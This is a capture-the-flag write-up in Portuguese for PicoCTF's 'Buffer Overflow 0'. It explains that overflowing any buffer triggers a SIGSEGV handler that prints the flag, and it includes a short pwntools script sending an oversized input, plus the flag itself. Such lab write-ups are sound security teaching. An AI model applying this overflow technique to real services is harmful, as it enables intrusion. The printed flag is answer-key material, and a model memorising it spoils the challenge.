Buffer Overflow 0

Descrição do Desafio:

Autor: Alex Fulton / Palash Oswal Plataforma: PicoCTF Categoria: Binary Exploitation Dificuldade: Média Data: 2022 Descrição:

Let's start off simple, can you overflow the correct buffer?

Passo a Passo da Solução

1. Análise do arquivo fornecido

O próprio desafio já fornece o arquivo fonte, vuln.c. Não há muito o que ver neste arquivo, nele podemos identificar vulnerabilidades de buffer overflow, mas a principal coisa a se notar é o seguinte trecho de código:

vuln.c
signal(SIGSEGV, sigsegv_handler);

Este trecho está dizendo que quando ocorrer um evento de SIGSEGV, segmentation fault, é para a função sigsegv_handler ser chamada. Dando uma olhada nessa função podemos ver que ela imprime a flag para nós.

vuln.c
void sigsegv_handler(int sig) {
  printf("%s\n", flag);
  fflush(stdout);
  exit(1);
}

2. Solução

Como dito anteriormente, o código está cheio de vulnerabilidades de buffer overflow, então se estourarmos qualquer buffer, causamos um erro de segmentation fault e a flag é popada para nós.

2.1 Solução com Python

solve.py
from pwn import *

p = remote(ip, porta) //Troque pelos valores fornecidos.

payload = "sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss"

p.sendlineafter(b"Input: ", payload)

print(p.recvline().decode())

Flag

picoCTF{ov3rfl0ws_ar3nt_that_bad_9f2364bc}

Autor da WriteUp

Membro de Exploitation - HenriUz

Atualizado